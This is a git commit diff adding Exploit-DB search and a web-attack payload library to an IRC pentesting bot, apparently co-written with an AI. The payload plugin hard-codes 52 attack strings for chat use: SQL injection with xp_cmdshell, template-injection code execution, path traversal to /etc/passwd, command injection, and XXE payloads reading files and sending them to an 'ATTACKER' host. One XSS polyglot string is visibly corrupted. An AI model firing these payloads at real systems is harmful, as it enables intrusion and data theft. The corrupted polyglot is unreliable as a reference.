feat: add exploitdb and payload plugins, complete wave 4

ExploitDB: search local exploit-db CSV mirror by keyword, EDB ID,
or CVE identifier. In-bot update command downloads the latest CSV
from GitLab. Also added to the update-data.sh script.

Payload: built-in template library with 52 payloads across 6
categories (sqli, xss, ssti, lfi, cmdi, xxe). Supports browsing,
numeric index, and keyword search within categories.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
user
2026-02-15 02:54:38 +01:00
parent e1b57e1764
commit 4a2960b288
8 changed files with 433 additions and 6 deletions

View File

@@ -59,6 +59,8 @@ make down # Stop
| note | note | Per-channel persistent key-value store |
| subdomain | subdomain | Subdomain enum (crt.sh + DNS brute) |
| headers | headers | HTTP header fingerprinting |
| exploitdb | exploitdb | Exploit-DB search (local CSV) |
| payload | payload | SQLi/XSS/SSTI/LFI/CMDi/XXE templates |
| example | echo | Demo plugin |
## Writing Plugins

View File

@@ -48,14 +48,14 @@
- [ ] CVE lookup plugin (local NVD JSON feed)
- [ ] Data update script (cron-friendly, all local DBs)
## v0.5.0 -- Wave 4 Plugins (Advanced) (current)
## v0.5.0 -- Wave 4 Plugins (Advanced) (done)
- [x] Operational logging plugin (SQLite per-channel)
- [x] Persistent notes plugin (per-channel key-value)
- [x] Subdomain enumeration (crt.sh + wordlist DNS brute)
- [x] HTTP header fingerprinting (local signature db)
- [ ] ExploitDB search (local CSV clone)
- [ ] Payload template library (SQLi, XSS, SSTI)
- [x] ExploitDB search (local CSV clone)
- [x] Payload template library (SQLi, XSS, SSTI, LFI, CMDi, XXE)
## v1.0.0 -- Stable

View File

@@ -8,15 +8,15 @@
| P0 | [x] | Note plugin (per-channel key-value store) |
| P0 | [x] | Subdomain plugin (crt.sh + DNS brute force) |
| P0 | [x] | Headers plugin (HTTP header fingerprinting) |
| P1 | [ ] | ExploitDB search plugin (local CSV clone) |
| P1 | [ ] | Payload template plugin (SQLi, XSS, SSTI) |
| P0 | [x] | ExploitDB search plugin (local CSV clone) |
| P0 | [x] | Payload template plugin (SQLi, XSS, SSTI, LFI, CMDi, XXE) |
| P1 | [x] | Documentation update |
## Completed
| Date | Task |
|------|------|
| 2026-02-15 | Wave 4 batch 1 (opslog, note, subdomain, headers) |
| 2026-02-15 | Wave 4 (opslog, note, subdomain, headers, exploitdb, payload) |
| 2026-02-15 | Wave 3 plugins (geoip, asn, torcheck, iprep, cve) + update script |
| 2026-02-15 | Admin/owner permission system (hostmask + IRCOP) |
| 2026-02-15 | SASL PLAIN, rate limiting, CTCP responses |

View File

@@ -107,6 +107,28 @@ IRC operators are auto-detected via WHO. Hostmask patterns use fnmatch.
!note clear # Clear all notes (admin)
```
## Exploit-DB
```
!exploitdb search apache # Search by keyword
!exploitdb 12345 # Lookup by EDB ID
!exploitdb cve CVE-2024-1234 # Search by CVE
!exploitdb update # Download latest CSV
!exploitdb stats # Show index size
```
## Payloads
```
!payload list # List categories
!payload sqli # Show SQLi payloads
!payload xss 3 # Show XSS payload #3
!payload ssti jinja # Search SSTI for 'jinja'
!payload lfi all # Show all LFI payloads
```
Categories: sqli, xss, ssti, lfi, cmdi, xxe
## Red Team
```

View File

@@ -94,6 +94,8 @@ level = "info" # Logging level: debug, info, warning, error
| `!note <set\|get\|del\|list\|clear>` | Per-channel key-value notes |
| `!subdomain <domain> [brute]` | Subdomain enumeration (crt.sh + DNS) |
| `!headers <url>` | HTTP header fingerprinting |
| `!exploitdb <search\|id\|cve\|update>` | Search local Exploit-DB mirror |
| `!payload <type> [variant]` | Web vuln payload templates |
### Command Shorthand

214
plugins/exploitdb.py Normal file
View File

@@ -0,0 +1,214 @@
"""Plugin: search local exploit-db CSV mirror."""
from __future__ import annotations
import csv
import logging
import time
from pathlib import Path
from derp.plugin import command
log = logging.getLogger(__name__)
_DATA_DIR = Path("data/exploitdb")
_CSV_FILE = _DATA_DIR / "files_exploits.csv"
_CSV_URL = "https://gitlab.com/exploit-database/exploitdb/-/raw/main/files_exploits.csv"
_MAX_AGE = 86400
_MAX_RESULTS = 5
# In-memory index: list of dicts
_index: list[dict] = []
_loaded_at: float = 0
def _load_index() -> list[dict]:
"""Load the exploit-db CSV into memory."""
if not _CSV_FILE.is_file():
return []
entries = []
try:
with open(_CSV_FILE, encoding="utf-8", errors="replace") as f:
reader = csv.DictReader(f)
for row in reader:
entries.append({
"id": row.get("id", ""),
"description": row.get("description", ""),
"date": row.get("date_published", ""),
"author": row.get("author", ""),
"type": row.get("type", ""),
"platform": row.get("platform", ""),
"codes": row.get("codes", ""),
})
except (OSError, csv.Error) as exc:
log.error("exploitdb: failed to load CSV: %s", exc)
return []
log.info("exploitdb: indexed %d exploits", len(entries))
return entries
def _refresh_if_stale() -> None:
"""Reload the index if stale or empty."""
global _index, _loaded_at
now = time.monotonic()
if _index and (now - _loaded_at) < _MAX_AGE:
return
idx = _load_index()
if idx:
_index = idx
_loaded_at = now
def _format_entry(entry: dict) -> str:
"""Format a single exploit entry for IRC output."""
parts = [f"EDB-{entry['id']}"]
if entry["date"]:
parts.append(entry["date"])
if entry["type"]:
parts.append(entry["type"])
if entry["platform"]:
parts.append(entry["platform"])
desc = entry["description"]
if len(desc) > 180:
desc = desc[:177] + "..."
parts.append(desc)
return " | ".join(parts)
async def _download_csv() -> tuple[int, str]:
"""Download the exploit-db CSV. Returns (count, error)."""
import asyncio
import urllib.request
_DATA_DIR.mkdir(parents=True, exist_ok=True)
loop = asyncio.get_running_loop()
def _fetch():
req = urllib.request.Request(_CSV_URL, headers={"User-Agent": "derp-bot"})
with urllib.request.urlopen(req, timeout=60) as resp: # noqa: S310
return resp.read()
try:
data = await loop.run_in_executor(None, _fetch)
except Exception as exc:
return 0, str(exc)[:100]
_CSV_FILE.write_bytes(data)
# Force reload
global _index, _loaded_at
_index = []
_loaded_at = 0
_refresh_if_stale()
return len(_index), ""
@command("exploitdb", help="Exploit-DB: !exploitdb <search|id|update|stats>")
async def cmd_exploitdb(bot, message):
"""Search the local exploit-db CSV mirror.
Usage:
!exploitdb search <term> Search by keyword
!exploitdb <edb-id> Lookup by EDB ID
!exploitdb cve <CVE-ID> Search by CVE identifier
!exploitdb update Download latest CSV
!exploitdb stats Show index statistics
"""
parts = message.text.split(None, 2)
if len(parts) < 2:
await bot.reply(message, "Usage: !exploitdb <search <term>|<id>|cve <id>|update|stats>")
return
sub = parts[1].strip()
if sub == "update":
await bot.reply(message, "Downloading exploit-db CSV...")
count, err = await _download_csv()
if err:
await bot.reply(message, f"Failed: {err}")
else:
await bot.reply(message, f"Loaded {count} exploits")
return
if sub == "stats":
_refresh_if_stale()
if not _index:
await bot.reply(message, "No data loaded (run !exploitdb update)")
else:
types: dict[str, int] = {}
for e in _index:
t = e["type"] or "unknown"
types[t] = types.get(t, 0) + 1
breakdown = ", ".join(f"{v} {k}" for k, v in sorted(types.items()))
await bot.reply(message, f"Exploit-DB: {len(_index)} exploits ({breakdown})")
return
if sub.lower() == "search":
term = parts[2].strip() if len(parts) > 2 else ""
if not term:
await bot.reply(message, "Usage: !exploitdb search <term>")
return
_refresh_if_stale()
if not _index:
await bot.reply(message, "No data loaded (run !exploitdb update)")
return
term_lower = term.lower()
matches = [e for e in _index if term_lower in e["description"].lower()]
if not matches:
await bot.reply(message, f"No exploits matching '{term}'")
return
for entry in matches[:_MAX_RESULTS]:
await bot.reply(message, _format_entry(entry))
if len(matches) > _MAX_RESULTS:
await bot.reply(message, f"({len(matches)} total, showing {_MAX_RESULTS})")
return
if sub.lower() == "cve":
cve_id = parts[2].strip().upper() if len(parts) > 2 else ""
if not cve_id:
await bot.reply(message, "Usage: !exploitdb cve <CVE-ID>")
return
_refresh_if_stale()
if not _index:
await bot.reply(message, "No data loaded (run !exploitdb update)")
return
matches = [e for e in _index if cve_id in e["codes"].upper()]
if not matches:
await bot.reply(message, f"No exploits for {cve_id}")
return
for entry in matches[:_MAX_RESULTS]:
await bot.reply(message, _format_entry(entry))
if len(matches) > _MAX_RESULTS:
await bot.reply(message, f"({len(matches)} total, showing {_MAX_RESULTS})")
return
# Direct ID lookup
if sub.isdigit():
_refresh_if_stale()
if not _index:
await bot.reply(message, "No data loaded (run !exploitdb update)")
return
for entry in _index:
if entry["id"] == sub:
await bot.reply(message, _format_entry(entry))
if entry["codes"]:
await bot.reply(message, f" Refs: {entry['codes']}")
return
await bot.reply(message, f"EDB-{sub}: not found")
return
# Fallback: treat as search term
_refresh_if_stale()
if not _index:
await bot.reply(message, "No data loaded (run !exploitdb update)")
return
rest = parts[2].strip() if len(parts) > 2 else ""
term = f"{sub} {rest}".strip().lower()
matches = [e for e in _index if term in e["description"].lower()]
if not matches:
await bot.reply(message, f"No exploits matching '{term}'")
return
for entry in matches[:_MAX_RESULTS]:
await bot.reply(message, _format_entry(entry))
if len(matches) > _MAX_RESULTS:
await bot.reply(message, f"({len(matches)} total, showing {_MAX_RESULTS})")

167
plugins/payload.py Normal file
View File

@@ -0,0 +1,167 @@
"""Plugin: payload template library for common web vulnerabilities."""
from __future__ import annotations
from derp.plugin import command
# -- Payload database ---------------------------------------------------------
# Each category: list of (label, payload_string)
_PAYLOADS: dict[str, list[tuple[str, str]]] = {
"sqli": [
("auth bypass", "' OR 1=1--"),
("auth bypass 2", "' OR '1'='1"),
("union select", "' UNION SELECT NULL,NULL,NULL--"),
("union cols", "' ORDER BY 1--"),
("error-based", "' AND 1=CONVERT(int,(SELECT @@version))--"),
("time blind", "' AND SLEEP(5)--"),
("bool blind", "' AND 1=1--"),
("stacked", "'; EXEC xp_cmdshell('whoami')--"),
("comment", "' OR 1=1#"),
("double query", "' UNION SELECT 1,2,GROUP_CONCAT(table_name) "
"FROM information_schema.tables--"),
],
"xss": [
("basic", '<script>alert(1)</script>'),
("img onerror", '<img src=x onerror=alert(1)>'),
("svg onload", '<svg onload=alert(1)>'),
("event", '" onmouseover="alert(1)'),
("javascript:", 'javascript:alert(1)'),
("body onload", '<body onload=alert(1)>'),
("input autofocus", '<input autofocus onfocus=alert(1)>'),
("details", '<details open ontoggle=alert(1)>'),
("encoded", '&#60;script&#62;alert(1)&#60;/script&#62;'),
("polyglot", "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/**/oNcliCk=alert()"
" )//%%0telerik0telerik11telerik22//>*/alert(1)//"),
],
"ssti": [
("detect", "{{7*7}}"),
("jinja2", "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"),
("jinja2 rce", "{% for x in ().__class__.__base__.__subclasses__() %}"
"{% if 'warning' in x.__name__ %}"
"{{x()._module.__builtins__['__import__']('os').popen('id').read()}}"
"{% endif %}{% endfor %}"),
("twig", "{{_self.env.registerUndefinedFilterCallback('exec')}}"
"{{_self.env.getFilter('id')}}"),
("mako", "${__import__('os').popen('id').read()}"),
("freemarker", '<#assign ex="freemarker.template.utility.Execute"?new()>'
'${ex("id")}'),
("erb", "<%= system('id') %>"),
("pug", "#{root.process.mainModule.require('child_process')"
".execSync('id').toString()}"),
],
"lfi": [
("etc/passwd", "../../../../etc/passwd"),
("null byte", "../../../../etc/passwd%00"),
("double encode", "%252e%252e%252f%252e%252e%252fetc/passwd"),
("utf-8 encode", "..%c0%af..%c0%afetc/passwd"),
("wrapper b64", "php://filter/convert.base64-encode/resource=index.php"),
("wrapper input", "php://input"),
("proc self", "/proc/self/environ"),
("windows", "..\\..\\..\\..\\windows\\win.ini"),
("log poison", "/var/log/apache2/access.log"),
],
"cmdi": [
("pipe", "| id"),
("semicolon", "; id"),
("backtick", "`id`"),
("dollar", "$(id)"),
("newline", "%0aid"),
("and", "& id"),
("double and", "&& id"),
("or", "|| id"),
("redirect", "> /tmp/pwned"),
("blind sleep", "| sleep 5"),
],
"xxe": [
("file read", '<?xml version="1.0"?><!DOCTYPE foo ['
'<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'
'<foo>&xxe;</foo>'),
("ssrf", '<?xml version="1.0"?><!DOCTYPE foo ['
'<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>'
'<foo>&xxe;</foo>'),
("blind oob", '<?xml version="1.0"?><!DOCTYPE foo ['
'<!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd">'
'%xxe;]><foo>test</foo>'),
("parameter", '<?xml version="1.0"?><!DOCTYPE foo ['
'<!ENTITY % file SYSTEM "file:///etc/passwd">'
'<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM '
"'http://ATTACKER/?x=%file;'>\">"
'%eval;%exfil;]><foo>test</foo>'),
("xinclude", '<foo xmlns:xi="http://www.w3.org/2001/XInclude">'
'<xi:include parse="text" href="file:///etc/passwd"/></foo>'),
],
}
_CATEGORIES = sorted(_PAYLOADS.keys())
_MAX_SHOW = 5
@command("payload", help="Payloads: !payload <type> [variant|list|all]")
async def cmd_payload(bot, message):
"""Web vulnerability payload template library.
Usage:
!payload list List available categories
!payload sqli Show first 5 SQLi payloads
!payload sqli all Show all SQLi payloads
!payload xss 3 Show payload #3 from XSS
!payload ssti jinja Search SSTI payloads for 'jinja'
"""
parts = message.text.split(None, 3)
if len(parts) < 2:
await bot.reply(message, f"Usage: !payload <{'|'.join(_CATEGORIES)}|list> [variant]")
return
sub = parts[1].lower()
if sub == "list":
items = []
for cat in _CATEGORIES:
items.append(f"{cat} ({len(_PAYLOADS[cat])})")
await bot.reply(message, f"Categories: {', '.join(items)}")
return
if sub not in _PAYLOADS:
await bot.reply(message, f"Unknown category: {sub} "
f"(valid: {', '.join(_CATEGORIES)})")
return
payloads = _PAYLOADS[sub]
arg = parts[2].strip() if len(parts) > 2 else ""
# Show all
if arg.lower() == "all":
for i, (label, payload) in enumerate(payloads, 1):
await bot.reply(message, f" {i}. [{label}] {payload}")
return
# Numeric index
if arg.isdigit():
idx = int(arg)
if 1 <= idx <= len(payloads):
label, payload = payloads[idx - 1]
await bot.reply(message, f"[{label}] {payload}")
else:
await bot.reply(message, f"Index out of range (1-{len(payloads)})")
return
# Keyword search within category
if arg:
matches = [(lbl, pl) for lbl, pl in payloads
if arg.lower() in lbl.lower() or arg.lower() in pl.lower()]
if not matches:
await bot.reply(message, f"No {sub} payloads matching '{arg}'")
return
for label, payload in matches[:_MAX_SHOW]:
await bot.reply(message, f" [{label}] {payload}")
if len(matches) > _MAX_SHOW:
await bot.reply(message, f" ({len(matches)} total)")
return
# Default: show first N
for i, (label, payload) in enumerate(payloads[:_MAX_SHOW], 1):
await bot.reply(message, f" {i}. [{label}] {payload}")
if len(payloads) > _MAX_SHOW:
await bot.reply(message, f" ({len(payloads)} total, "
f"use !payload {sub} all)")

View File

@@ -106,6 +106,25 @@ update_geolite2() {
done
}
# -- Exploit-DB CSV -----------------------------------------------------------
update_exploitdb() {
local dest_dir="$DATA_DIR/exploitdb"
local dest="$dest_dir/files_exploits.csv"
local url="https://gitlab.com/exploit-database/exploitdb/-/raw/main/files_exploits.csv"
mkdir -p "$dest_dir"
dim "Downloading exploit-db CSV..."
if curl -sS -fL --max-time 60 -o "$dest.tmp" "$url"; then
local count
count=$(wc -l < "$dest.tmp")
mv "$dest.tmp" "$dest"
info "Exploit-DB: $count entries"
else
rm -f "$dest.tmp"
err "Failed to download exploit-db CSV"
((FAILURES++)) || true
fi
}
# -- Main ---------------------------------------------------------------------
printf "${DIM}derp data update${RST}\n"
printf "${DIM}%s${RST}\n" "$(date -u '+%Y-%m-%d %H:%M UTC')"
@@ -113,6 +132,7 @@ echo
update_tor
update_iprep
update_exploitdb
update_geolite2
echo